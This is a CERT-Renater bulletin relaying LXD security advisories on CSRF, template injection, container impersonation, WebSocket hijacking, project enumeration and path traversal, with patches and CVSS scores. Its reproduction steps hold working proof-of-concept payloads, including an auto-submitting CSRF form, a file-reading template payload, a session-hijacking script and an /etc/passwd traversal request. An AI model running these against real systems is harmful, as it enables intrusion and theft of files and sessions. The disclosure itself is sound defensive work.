Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2025/VULN664
_____________________________________________________________________

DATE                : 03/10/2025

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running canonical lxd versions prior to
                                    6.5, 5.21.4, 5.0.5.

=====================================================================
https://github.com/canonical/lxd/security/advisories/GHSA-p8hw-rfjg-689h
https://github.com/canonical/lxd/security/advisories/GHSA-w2hg-2v4p-vmh6
https://github.com/canonical/lxd/security/advisories/GHSA-7232-97c6-j525
https://github.com/canonical/lxd/security/advisories/GHSA-3g72-chj4-2228
https://github.com/canonical/lxd/security/advisories/GHSA-xch9-h8qw-85c7
https://github.com/canonical/lxd/security/advisories/GHSA-472f-vmf2-pr3h
https://github.com/canonical/lxd/security/advisories/GHSA-7425-4qpj-v4w3
_____________________________________________________________________


CSRF Vulnerability When Using Client Certificate Authentication with
the LXD-UI
High
tomponline published GHSA-p8hw-rfjg-689h Oct 2, 2025

Package
lxd (lxd)

Affected versions
>= 5.0

Patched versions
6.5, 5.21.4, 5.0.5


Description

Description

OIDC authentication uses cookies with the SameSite=Strict attribute,
preventing cookies from being sent with requests from other sites.
Therefore, CSRF does not occur as long as web services in a Same Site
relationship (same eTLD+1) with the origin running LXD-UI are trusted.

However, since the SameSite concept does not apply to client
certificates, CSRF protection that doesn't rely on the SameSite
attribute is necessary.

Note that when using cross-origin fetch API, client certificates are
not sent in no-cors mode due to CORS restrictions (according to the
WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials),
client certificates are treated as credentials), making cross-site
attacks using fetch API difficult unless CORS settings are vulnerable.
However, since LXD's API parses request bodies as JSON even when
Content-Type is text/plain or application/x-www-form-urlencoded, CSRF
attacks exploiting HTML form submissions are possible.


Reproduction Steps

    Prepare a malicious website controlled by the attacker
    Deploy the following HTML form to implement an attack that
automatically creates instances when victims visit:

This exploit code automatically sends a JSON string as text/plain to
create an instance when rendered.

Note that for this PoC to work, the specified profile (default) must
have a Default instance storage pool configured.
This is typically set in the default profile of projects created after
storage pool creation.

<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>

    Log in to LXD-UI with a user having permissions to create instances
in the project (default) specified in step 2
    Access the URL of the HTML file prepared in step 2 and confirm that
an instance is created and started


Risk

The attack conditions require that the victim is already connected to LXD
using client certificate authentication and that the attacker can lead
the victim to a controlled website.

Possible actions through the attack include, depending on the victim's
permissions, creating and starting arbitrary instances, and executing
arbitrary commands inside containers using cloud-init.
Countermeasures

The most effective countermeasure is to strictly enforce Content-Type
validation at API endpoints.
Specifically, change the implementation to reject requests when
Content-Type is not application/json. With this countermeasure, attackers
cannot send proper JSON requests using Simple Requests (HTML form
submissions) and must use fetch API with CORS. However, as long as
proper CORS settings are implemented, client certificates are not sent
with cross-origin fetch API requests, preventing the attack.

Additionally, implementing CSRF tokens or validating Origin/Referer
headers could be considered as countermeasures, but these would create
compatibility issues with the LXD command, which is another API client.


Patches

LXD Series      Status
6               Fixed in LXD 6.5
5.21            Fixed in LXD 5.21.4
5.0             Fixed in LXD 5.0.5
4.0            Ignored - No web UI


References

Reported by GMO Flatt Security Inc.
Severity
High

8.4/ 10
CVSS v3 base metrics
Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID
CVE-2025-54286

Weaknesses
Weakness CWE-352


_____________________________________________________________________


Arbitrary File Read via Template Injection in Snapshot Patterns
Moderate
tomponline published GHSA-w2hg-2v4p-vmh6 Oct 2, 2025

Package
lxd (lxd)

Affected versions
>= 4.0

Patched versions
6.5, 5.21.4


Description

Impact

In LXD's instance snapshot creation functionality, the Pongo2 template
engine is used in the snapshots.pattern configuration for generating
snapshot names. While code execution functionality has not been found
in this template engine, it has file reading capabilities, creating
a vulnerability that allows arbitrary file reading through template
injection attacks.


Reproduction Steps

    Log in to LXD-UI with an account that has permissions to modify
instance settings
    Set the following template injection payload in the instance
snapshot pattern:

{% filter urlencode|slice:":100" %}{% include "/etc/passwd" %}{%endfilter %}

Note that the above template uses the Pongo2 template engine's include
tag to read system files. It also uses urlencode and slice filters to
bypass character count and type restrictions.

    Set scheduled snapshots to run every minute and wait for snapshot
generation
    Wait about a minute and confirm that file contents can be obtained
from the created snapshot name


Risk

The attack requires having configuration change permissions for LXD
instances.
The attack allows reading arbitrary files accessible with LXD process
permissions. This could lead to leakage of the following information:
- LXD host configuration files (/etc/passwd, /etc/shadow, etc.)
- LXD database files (containing information about all projects and instances)
- Configuration files and data of other instances
- Sensitive information on the host system


Countermeasures

Pongo2 provides mechanisms for sandboxing templates.

    Template sandboxing (directory patterns, banned tags/filters)
    ( https://github.com/flosch/pongo2/tree/master?tab=readme-ov-file#features )

This functionality allows banning specific tags and filters by generating a
custom TemplateSet.

At minimum, the following tags are considered to pose a risk of file
leakage on the LXD host when used. Therefore, banning these can provide
countermeasures against file reading attacks.

- include
- ssi
- extends
- import

The deny-list approach is prone to vulnerability recurrence due to missed
countermeasures or new feature additions. Therefore, as the safest approach,
we recommend using an allow-list format to permit only necessary functions.

However, as far as our investigation shows, pongo2 does not have functionality
to retrieve a list of registered tags or filters, nor does it provide means
to implement an allow-list approach. Therefore, it is necessary to either
forcibly obtain the registration list through reflection and ban anything
not on the allow-list, or ban everything from the current implemented list
since the library has not been updated for about two years.

In LXD's implementation, template injection attacks can be prevented by
modifying the RenderTemplate function in shared/util.go to use a restricted
TemplateSet as shown above.


Patches
LXD Series      Status
6               Fixed in LXD 6.5
5.21            Fixed in LXD 5.21.4
5.0             Ignored - Not critical
4.0             Ignored - EOL and not critical


References

Reported by GMO Flatt Security Inc.


Severity
Moderate
6.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID
CVE-2025-54287

Weaknesses
Weakness CWE-1336

_____________________________________________________________________


Source Container Identification Vulnerability via cmdline Spoofing in
devLXD Server

Moderate
tomponline published GHSA-7232-97c6-j525 Oct 2, 2025

Package
lxd (lxd)

Affected versions
>= 4.0

Patched versions
6.5, 5.21.4


Description

Impact

In LXD's devLXD server, the source container identification process
uses process cmdline (command line) information, allowing attackers
to impersonate other containers by spoofing process names.

The core issue lies in the findContainerForPID function in
lxd/api_devlxd.go.
This function identifies senders through two steps as shown below:

    cmdline-based identification: Check while tracing back through
parent processes, and if it starts with [lxc monitor], extract the
project name and container name from that process name in the format
projectName_containerName.
    PID namespace-based identification: If not found in Step 1,
check against all containers' PID namespaces.

lxd/lxd/api_devlxd.go

Lines 166 to 276 in 43d5189
 func findContainerForPID(pid int32, s *state.State) (instance.Container, error) { 
 	/* 
 	 * Try and figure out which container a pid is in. There is probably a 
 	 * better way to do this. Based on rharper's initial performance 
 	 * metrics, looping over every container and calling newLxdContainer is 
 	 * expensive, so I wanted to avoid that if possible, so this happens in 
 	 * a two step process: 
 	 * 
 	 * 1. Walk up the process tree until you see something that looks like 
 	 *    an lxc monitor process and extract its name from there. 
 	 * 
 	 * 2. If this fails, it may be that someone did an `lxc exec foo -- bash`, 
 	 *    so the process isn't actually a descendant of the container's 
 	 *    init. In this case we just look through all the containers until 
 	 *    we find an init with a matching pid namespace. This is probably 
 	 *    uncommon, so hopefully the slowness won't hurt us. 
 	 */ 
  
 	origpid := pid 
  
 	for pid > 1 { 
 		procPID := "/proc/" + strconv.Itoa(int(pid)) 
 		cmdline, err := os.ReadFile(procPID + "/cmdline") 
 		if err != nil { 
 			return nil, err 
 		} 
  
 		if strings.HasPrefix(string(cmdline), "[lxc monitor]") { 
 			// container names can't have spaces 
 			parts := strings.Split(string(cmdline), " ") 
 			name := strings.TrimSuffix(parts[len(parts)-1], "\x00") 
  
 			projectName := api.ProjectDefaultName 
 			if strings.Contains(name, "_") { 
 				projectName, name, _ = strings.Cut(name, "_") 
 			} 
  
 			inst, err := instance.LoadByProjectAndName(s, projectName, name) 
 			if err != nil { 
 				return nil, err 
 			} 
  
 			if inst.Type() != instancetype.Container { 
 				return nil, errors.New("Instance is not container type") 
 			} 
  
 			// Explicitly ignore type assertion check. We've just
checked that it's a container. 
 			c, _ := inst.(instance.Container) 
 			return c, nil 
 		} 
  
 		status, err := os.ReadFile(procPID + "/status") 
 		if err != nil { 
 			return nil, err 
 		} 
  
 		for line := range strings.SplitSeq(string(status), "\n") { 
 			ppidStr, found := strings.CutPrefix(line, "PPid:") 
 			if !found { 
 				continue 
 			} 
  
 			// ParseUint avoid scanning for `-` sign. 
 			ppid, err := strconv.ParseUint(strings.TrimSpace(ppidStr), 10, 32) 
 			if err != nil { 
 				return nil, err 
 			} 
  
 			if ppid > math.MaxInt32 { 
 				return nil, errors.New("PPid value too large: Upper bound exceeded") 
 			} 
  
 			pid = int32(ppid) 
 			break 
 		} 
 	} 
  
 	origPidNs, err := os.Readlink(fmt.Sprintf("/proc/%d/ns/pid", origpid)) 
 	if err != nil { 
 		return nil, err 
 	} 
  
 	instances, err := instance.LoadNodeAll(s, instancetype.Container) 
 	if err != nil { 
 		return nil, err 
 	} 
  
 	for _, inst := range instances { 
 		if inst.Type() != instancetype.Container { 
 			continue 
 		} 
  
 		if !inst.IsRunning() { 
 			continue 
 		} 
  
 		initpid := inst.InitPID() 
 		pidNs, err := os.Readlink(fmt.Sprintf("/proc/%d/ns/pid", initpid)) 
 		if err != nil { 
 			return nil, err 
 		} 
  
 		if origPidNs == pidNs { 
 			// Explicitly ignore type assertion check. The instance
must be a container if we've found it via the process ID. 
 			c, _ := inst.(instance.Container) 
 			return c, nil 
 		} 
 	} 
  
 	return nil, errPIDNotInContainer 
 } 

Attackers can exploit Step 1 processing to impersonate arbitrary containers
across projects by spoofing process names.


Reproduction Steps

    Access devLXD server from a normal container (e.g., EEEE):

root@EEEE:~# curl --unix-socket /dev/lxd/sock http://lxd-host/1.0/meta-data
instance-id: 9f928574-2561-4eff-af82-a68e57d3c68b
local-hostname: EEEE

    Use exec -a to spoof process name and impersonate another container (DDDD):

root@EEEE:~# bash -c "exec -a '[lxc monitor]' curl --unix-socket
/dev/lxd/sock http://lxd-host/1.0/meta-data -x 'test-project_DDDD'"

instance-id: 1bb2f1c3-3ad2-4cd6-9965-67b14c3582cc
local-hostname: DDDD

This attack successfully obtains metadata (instance-id, local-hostname) of
another container DDDD from within container EEEE.


Risk

This vulnerability allows attackers to perform the following actions:

    Theft of other containers' metadata information
    Obtaining other containers' information via devLXD API's /1.0/meta-data
endpoint:

    lxd/lxd/devlxd.go

    Lines 295 to 304 in 43d5189

 func devLXDMetadataGetHandler(d *Daemon, r *http.Request) response.Response { 
 	inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey) 
 	if err != nil { 
 		return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM) 
 	} 
  
 	meta := inst.ExpandedConfig()["user.meta-data"] 
 	resp := "instance-id: " + inst.CloudInitID() + "\nlocal-hostname: " + inst.Name() + "\n" + meta 
 	return response.DevLXDResponse(http.StatusOK, resp, "raw", inst.Type() == instancetype.VM) 
 } 

Obtaining other containers' configuration information via devLXD
API's /1.0/config and /1.0/config/{key} endpoints:

lxd/lxd/devlxd.go

Lines 175 to 221 in 43d5189
 func devLXDConfigGetHandler(d *Daemon, r *http.Request) response.Response { 
 	inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey) 
 	if err != nil { 
 		return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM) 
 	} 
  
 	filtered := []string{} 
 	hasSSHKeys := false 
 	hasVendorData := false 
 	hasUserData := false 
 	for k := range inst.ExpandedConfig() { 
 		if !strings.HasPrefix(k, "user.") && !strings.HasPrefix(k, "cloud-init.") { 
 			continue 
 		} 
  
 		if strings.HasPrefix(k, "cloud-init.ssh-keys.") { 
 			// cloud-init.ssh-keys keys are not to be retrieved by cloud-init
directly, but instead LXD converts them 
 			// into cloud-init config and merges it into cloud-init.[vendor|user]-data. 
 			// This way we can make use of the full array of options
proivded by cloud-config for injecting keys 
 			// and not compromise any cloud-init config defined on the
instance's expanded config. 
 			hasSSHKeys = true 
 			continue 
 		} 
  
 		if slices.Contains(cloudinit.VendorDataKeys, k) { 
 			hasVendorData = true 
 		} else if slices.Contains(cloudinit.UserDataKeys, k) { 
 			hasUserData = true 
 		} 
  
 		filtered = append(filtered, "/1.0/config/"+k) 
 	} 
  
 	// If [vendor|user]-data are not defined, cloud-init should still
request for them if there are SSH keys defined via 
 	// "cloud-init.ssh.keys". Use both user.* and cloud-init.* for
compatibitily with older cloud-init. 
 	if hasSSHKeys && !hasVendorData { 
 		filtered = append(filtered, "/1.0/config/cloud-init.vendor-data") 
 		filtered = append(filtered, "/1.0/config/user.vendor-data") 
 	} 
  
 	if hasSSHKeys && !hasUserData { 
 		filtered = append(filtered, "/1.0/config/cloud-init.user-data") 
 		filtered = append(filtered, "/1.0/config/user.user-data") 
 	} 
  
 	return response.DevLXDResponse(http.StatusOK, filtered, "json", inst.Type() == instancetype.VM) 
 } 

lxd/lxd/devlxd.go

Lines 228 to 267 in 43d5189
 func devLXDConfigKeyGetHandler(d *Daemon, r *http.Request) response.Response { 
 	inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey) 
 	if err != nil { 
 		return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM) 
 	} 
  
 	key, err := url.PathUnescape(mux.Vars(r)["key"]) 
 	if err != nil { 
 		return response.DevLXDErrorResponse(api.StatusErrorf(http.StatusBadRequest, "bad request"), inst.Type() == instancetype.VM) 
 	} 
  
 	if !strings.HasPrefix(key, "user.") && !strings.HasPrefix(key, "cloud-init.") { 
 		return response.DevLXDErrorResponse(api.StatusErrorf(http.StatusForbidden, "not authorized"), inst.Type() == instancetype.VM) 
 	} 
  
 	var value string 
  
 	isVendorDataKey := slices.Contains(cloudinit.VendorDataKeys, key) 
 	isUserDataKey := slices.Contains(cloudinit.UserDataKeys, key) 
  
 	// For values containing cloud-init seed data, try to merge into them additional
SSH keys present on the instance config. 
 	// If parsing the config is not possible, abstain from merging the additional keys. 
 	if isVendorDataKey || isUserDataKey { 
 		cloudInitData := cloudinit.GetEffectiveConfig(inst.ExpandedConfig(), key, inst.Name(), inst.Project().Name) 
 		if isVendorDataKey { 
 			value = cloudInitData.VendorData 
 		} else { 
 			value = cloudInitData.UserData 
 		} 
 	} else { 
 		value = inst.ExpandedConfig()[key] 
 	} 
  
 	// If the resulting value is empty, return Not Found. 
 	if value == "" { 
 		return response.DevLXDErrorResponse(api.StatusErrorf(http.StatusNotFound, "not found"), inst.Type() == instancetype.VM) 
 	} 
  
 	return response.DevLXDResponse(http.StatusOK, value, "raw", inst.Type() == instancetype.VM) 
 } 

Obtaining other containers' device information via devLXD API's /1.0/devices
endpoint:

lxd/lxd/devlxd.go

Lines 377 to 395 in 43d5189
 func devLXDDevicesGetHandler(d *Daemon, r *http.Request) response.Response { 
 	inst, err := getInstanceFromContextAndCheckSecurityFlags(r.Context(), devLXDSecurityKey) 
 	if err != nil { 
 		return response.DevLXDErrorResponse(err, inst != nil && inst.Type() == instancetype.VM) 
 	} 
  
 	// Populate NIC hwaddr from volatile if not explicitly specified. 
 	// This is so cloud-init running inside the instance can identify the NIC
when the interface name is 
 	// different than the LXD device name (such as when run inside a VM). 
 	localConfig := inst.LocalConfig() 
 	devices := inst.ExpandedDevices() 
 	for devName, devConfig := range devices { 
 		if devConfig["type"] == "nic" && devConfig["hwaddr"] == "" && localConfig["volatile."+devName+".hwaddr"] != "" { 
 			devices[devName]["hwaddr"] = localConfig["volatile."+devName+".hwaddr"] 
 		} 
 	} 
  
 	return response.DevLXDResponse(http.StatusOK, inst.ExpandedDevices(), "json", inst.Type() == instancetype.VM) 

     } 

    Particularly in environments where multiple projects run containers on
the same LXD host,
    inter-project information leakage may occur. The attack prerequisite
is root privileges within
    any container.


Countermeasures

While containers basically run in separate PID namespaces, based on investigation,
the [lxc monitor] process runs in the same PID namespace as the LXD execution process.
Therefore, the problem can be resolved by modifying the implementation to use
cmdline information only when the PID namespace of the target process matches
the PID namespace of the process running LXD.


Patches

LXD Series 	Status

6               Fixed in LXD 6.5
5.21            Fixed in LXD 5.21.4
5.0             Ignored - Not critical
4.0             Ignored - EOL and not critical


References

Reported by GMO Flatt Security Inc.


Severity
Moderate
4.1/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

CVE ID
CVE-2025-54288

Weaknesses
No CWEs


_____________________________________________________________________


Privilege Escalation via WebSocket Connection Hijacking in Operations
API

Moderate
tomponline published GHSA-3g72-chj4-2228 Oct 2, 2025


Package
lxd (lxd)

Affected versions
>= 4.0

Patched versions
6.5, 5.21.4


Description

Impact

LXD's operations API includes secret values necessary for WebSocket
connections when retrieving information about running operations.
These secret values are used for authentication of WebSocket
connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values
obtained from the operations API to hijack terminal or console
sessions opened by other users. Through this hijacking, attackers
can execute arbitrary commands inside instances with the victim's
privileges.
Reproduction Steps

    Log in to LXD-UI using an account with read-only permissions
    Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture
execution events for terminal startup, establishes a websocket
connection with that secret, and sends touch /tmp/xxx to the
data channel.

(async () => {
class LXDEventsSession {
constructor(callback) {
this.wsBase =
`wss://${window.location.host}/1.0/events?type=operation&all-p
rojects=true`;
this.eventsConn = new WebSocket(this.wsBase);
this.eventsConn.onopen = (event) => {
console.log('Events conn Opened');
};
this.eventsConn.onmessage = (event) => {
callback(event);
};
}}
class LXDWebSocketSession {
constructor(operationId, secrets) {
this.operationId = operationId;
this.secrets = secrets;
this.wsBase =
`wss://${window.location.host}/1.0/operations/${operationId}/w
ebsocket`;
this.connections = {};
this.connections.data = new
WebSocket(`${this.wsBase}?secret=${this.secrets['0']}`);
this.connections.data.onopen = (event) => {
console.log('Data Opened');
this.connections.data.send(new
TextEncoder().encode('touch /tmp/xxx\r'));
}
this.connections.data.onmessage = (event) => {
console.log('[Data]', event.data);
};
this.connections.control = new
WebSocket(`${this.wsBase}?secret=${this.secrets.control}`);
this.connections.control.onopen = (event) => {
console.log('Control Opened');
}
this.connections.control.onmessage = (event) => {
console.log('[Control]', event.data);
};
}
close() {
Object.values(this.connections).forEach(ws => {
if (ws.readyState === WebSocket.OPEN) {
ws.close();
}
});
}
}
const sessions = [];
new LXDEventsSession( (event) => {
const op = JSON.parse(event.data);
const opId = op.metadata.id;const secrets = op.metadata.metadata.fds;
for(const session of sessions){
if(session.operationId === opId){
return;
}
}
sessions.push(new LXDWebSocketSession(opId, secrets))
});
})();

    Have another user (or yourself for testing) start a terminal
or console session on an instance
    At this time, whoever uses the secret first gains session
rights, so it's recommended to intentionally slow down
communication speed using DevTools' bandwidth throttling feature
for verification.
    Refresh the attacker's browser tab to stop event listening
    Have the victim reopen their terminal/console session and verify:

$ ls -la /tmp/xxx

Risk

Attack conditions require that the attacker has read permissions
for the project, the victim (a user with higher privileges) opens
a terminal or console session, and the attacker hijacks the WebSocket
connection at the appropriate timing. Therefore, while successful
attacks result in privilege escalation, the attack timing is very
critical, making the realistic risk of attack relatively low.
Countermeasures

As a fundamental countermeasure, it is recommended to exclude WebSocket
connection secret information from operations API responses for
read-only users. In the current implementation, the operations API
returns all operation information (including secret values) regardless
of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked,
and for users with read-only permissions, WebSocket-related secrets
(fds field) should be excluded from operation metadata. This prevents
attackers from obtaining secret values, making WebSocket connection
hijacking impossible.


Patches
LXD Series      Status
6               Fixed in LXD 6.5
5.21            Fixed in LXD 5.21.4
5.0             Ignored - Not critical
4.0             Ignored - EOL and not critical


References

Reported by GMO Flatt Security Inc.


Severity
Moderate
6.8/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE ID
CVE-2025-54289

Weaknesses
No CWEs


_____________________________________________________________________


Project Existence Determination Through Error Handling in Image Get
Function

Moderate
tomponline published GHSA-xch9-h8qw-85c7 Oct 2, 2025

Package
lxd (lxd)

Affected versions
>= 4.0

Patched versions
6.5, 5.21.4


Description

Impact

The LXD /1.0/images endpoint is implemented as an AllowUntrusted API
that requires no authentication, making it accessible to users without
accounts. This API allows determining project existence through
differences in HTTP status codes when accessed with the project
parameter.

lxd/lxd/images.go

Lines 63 to 69 in 43d5189
 var imagesCmd = APIEndpoint{ 
 	Path:        "images", 
 	MetricsType: entity.TypeImage, 
  
 	Get:  APIEndpointAction{Handler: imagesGet, AllowUntrusted: true}, 
 	Post: APIEndpointAction{Handler: imagesPost, AllowUntrusted: true}, 
 } 

This configuration allows access without authentication:

lxd/lxd/daemon.go

Lines 924 to 926 in 43d5189
 if !trusted && !action.AllowUntrusted { 
 	return response.Forbidden(errors.New("You must be authenticated")) 
 } 

This API returns a 404 error when accessing existing projects and
a 403 error when accessing non-existent projects, allowing
confirmation of project existence through this difference.


The problematic implementation is shown below.

First, in the error handling implementation of the imagesGet function below,
project existence is checked within the projectutils.ImageProject function,
and the err returned by the ImageProject function is directly returned
to the user.

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/i mages.go#L1781-L1788

When the project doesn't exist, the error is 404 (http.StatusNotFound),
which is returned to the user:

lxd/lxd/db/cluster/projects.mapper.go

Lines 237 to 239 in 43d5189
 switch len(objects) { 
 case 0: 
 	return nil, api.StatusErrorf(http.StatusNotFound, "Project not found") 

On the other hand, when the project exists but the user lacks viewing
permissions, the imagesGet function returns 403 (response.Forbidden):

lxd/lxd/images.go

Lines 1796 to 1799 in 43d5189
 // Untrusted callers can't request images from all projects or projects other than default. 
 if !trusted && (allProjects || projectName != api.ProjectDefaultName) { 
 	return response.Forbidden(errors.New("Untrusted callers may only
access public images in the default project")) 

 } 

Reproduction Steps

    Send the following request without authentication to a
non-existent project:

curl -k "https://lxd-host:8443/1.0/images?project=XXX-project"

Response:

{"type":"error","status":"","status_code":0,"operation":"","error_code":404,"error":"fetch project: Project not found","metadata":null}

    Send a request without authentication to an existing project (if a public project exists, it will be included in the response):

curl -k "https://lxd-host:8443/1.0/images?project=exist-project"

Reponse:

{"type":"error","status":"","status_code":0,"operation":"","error_code":403,"error":"Untrusted callers may only access public images in the default project","metadata":null}


Risk

The attack requires only network access to the LXD API endpoint, with
no authentication needed.

The attack allows confirming the existence of projects within the LXD
system by exploiting differences in HTTP status codes.
This could potentially increase the exploitability of othervulnerabilities.

Additionally, since project IDs often use meaningful names set by users,
this could lead to leakage of unpublished product information. However,
resource information within projects cannot be obtained, limiting the
impact to existence confirmation only.


Countermeasures

It is recommended to modify the error handling in the imagesGet function
to return consistent responses regardless of project existence.
Specifically, when an error occurs during project existence verification,
the implementation should be changed to always return a 403 (Untrusted
callers may only access public images in the default project) error to
unauthenticated users.

This ensures that the same error response is returned for both existing
and non-existing projects, preventing determination of project existence.


Patches

LXD Series      Status
6               Fixed in LXD 6.5
5.21            Fixed in LXD 5.21.4
5.0             Ignored - Not critical
4.0             Ignored - EOL and not critical


References

Reported by GMO Flatt Security Inc.

Severity
Moderate
5.3/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID
CVE-2025-54291

Weaknesses
No CWEs

_____________________________________________________________________


Path Traversal Vulnerability in Instance Log File Retrieval Function
Moderate
tomponline published GHSA-472f-vmf2-pr3h Oct 2, 2025

Package
lxd (lxd)

Affected versions
>= 4.0

Patched versions
>= 5.21.0


Description

Impact

Although outside the scope of this penetration test, a path traversal
vulnerability exists in the validLogFileName function that validates
log file names in lxd/instance_logs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is
fixed in at least LXD 5.21 and later. However, this PR appears to be
primarily aimed at code improvement rather than vulnerability fixing,
with the vulnerability being fixed as a side effect. Therefore, no
CVE number has been issued, and no security patch has been made for
LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and
installation procedures are explained in official documentation, we
judge that environments affected by this vulnerability likely exist
and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

lxd/lxd/instance_logs.go

Lines 152 to 163 in 1f8c9f7
 func validLogFileName(fname string) bool { 
 	/* Let's just require that the paths be relative, so that we
don't have 
 	 * to deal with any escaping or whatever. 
 	 */ 
 	return fname == "lxc.log" || 
 		fname == "lxc.conf" || 
 		fname == "qemu.log" || 
 		fname == "qemu.conf" || 
 		strings.HasPrefix(fname, "migration_") || 
 		strings.HasPrefix(fname, "snapshot_") || 
 		strings.HasPrefix(fname, "exec_") 
 } 

This function allows filenames starting with snapshot_ or migration_,
but lacks sufficient validation for the portion after the prefix,
enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

lxd/lxd/instance_logs.go

Lines 665 to 679 in 43d5189
 func validLogFileName(fname string) bool { 
 	if !shared.IsFileName(fname) { 
 		return false 
 	} 
  
 	/* Let's just require that the paths be relative, so that
we don't have 
 	 * to deal with any escaping or whatever. 
 	 */ 
 	return fname == "lxc.log" || 
 		fname == "lxc.conf" || 
 		fname == "qemu.log" || 
 		fname == "qemu.conf" || 
 		strings.HasPrefix(fname, "migration_") || 
 		strings.HasPrefix(fname, "snapshot_") 
 } 

lxd/shared/util.go

Lines 833 to 835 in 43d5189
 func IsFileName(name string) bool { 
 	return !strings.Contains(name, "/") && !strings.Contains(name, "\\") && !strings.Contains(name, "..") 
 } 

This function ensures that filenames do not contain /, , or .. .

Note that in Linux generally, path traversal like /not_exist_folder/../exist_folder/
is rejected within system calls and doesn't
succeed.

However, in this case, the attack succeeds because URL normalization by golang's
filepath.Join is performed beforehand.


Related part of instanceLogGet function:

lxd/lxd/instance_logs.go

Lines 218 to 269 in 43d5189
 func instanceLogGet(d *Daemon, r *http.Request) response.Response { 
 	s := d.State() 
  
 	instanceType, err := urlInstanceTypeDetect(r) 
 	if err != nil { 
 		return response.SmartError(err) 
 	} 
  
 	projectName := request.ProjectParam(r) 
 	name, err := url.PathUnescape(mux.Vars(r)["name"]) 
 	if err != nil { 
 		return response.SmartError(err) 
 	} 
  
 	if shared.IsSnapshot(name) { 
 		return response.BadRequest(errors.New("Invalid instance name")) 
 	} 
  
 	// Handle requests targeted to a container on a different node 
 	resp, err := forwardedResponseIfInstanceIsRemote(s, r, projectName, name, instanceType) 
 	if err != nil { 
 		return response.SmartError(err) 
 	} 
  
 	if resp != nil { 
 		return resp 
 	} 
  
 	// Ensure instance exists. 
 	inst, err := instance.LoadByProjectAndName(s, projectName, name) 
 	if err != nil { 
 		return response.SmartError(err) 
 	} 
  
 	file, err := url.PathUnescape(mux.Vars(r)["file"]) 
 	if err != nil { 
 		return response.SmartError(err) 
 	} 
  
 	if !validLogFileName(file) { 
 		return response.BadRequest(fmt.Errorf("Log file name %q not valid", file)) 
 	} 
  
 	ent := response.FileResponseEntry{ 
 		Path:     filepath.Join(inst.LogPath(), file), 
 		Filename: file, 
 	} 
  
 	s.Events.SendLifecycle(projectName, lifecycle.InstanceLogRetrieved.Event(file, inst, request.CreateRequestor(r), nil)) 
  
 	return response.FileResponse([]response.FileResponseEntry{ent}, nil) 
 } 


Related part of instanceLogDelete function:

lxd/lxd/instance_logs.go

Lines 331 to 347 in 43d5189
 file, err := url.PathUnescape(mux.Vars(r)["file"]) 
 if err != nil { 
 	return response.SmartError(err) 
 } 
  
 if !validLogFileName(file) { 
 	return response.BadRequest(fmt.Errorf("Log file name %q not valid", file)) 
 } 
  
 if !strings.HasSuffix(file, ".log") || file == "lxc.log" || file == "qemu.log" { 
 	return response.BadRequest(errors.New("Only log files excluding qemu.log and lxc.log may be deleted")) 
 } 
  
 err = os.Remove(filepath.Join(inst.LogPath(), file)) 
 if err != nil { 
 	return response.SmartError(err) 
 } 

In the fixed version, filenames containing path traversal strings are rejected
at the validLogFileName stage through pre-checking by shared.IsFileName.


Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

    Log in with an account having access to LXD-UI
    Open browser DevTools and execute the following JavaScript to attempt
path traversal     attack:

(async () => {
const projectName = prompt("Enter target project name:");
const instanceName = prompt("Enter target instance
name:");
const maliciousLogFile =
encodeURIComponent('snapshot_../../../../../../../../../../etc
/passwd');
const response = await
fetch(`/1.0/instances/${instanceName}/logs/${maliciousLogFile}
?project=${projectName}`, {
method: 'GET',
credentials: 'include'
});
const content = await response.text();
console.log(content);
})();

Description (2)

A similar issue also exists in the validExecOutputFileName function:

lxd/lxd/instance_logs.go

Lines 681 to 688 in 43d5189
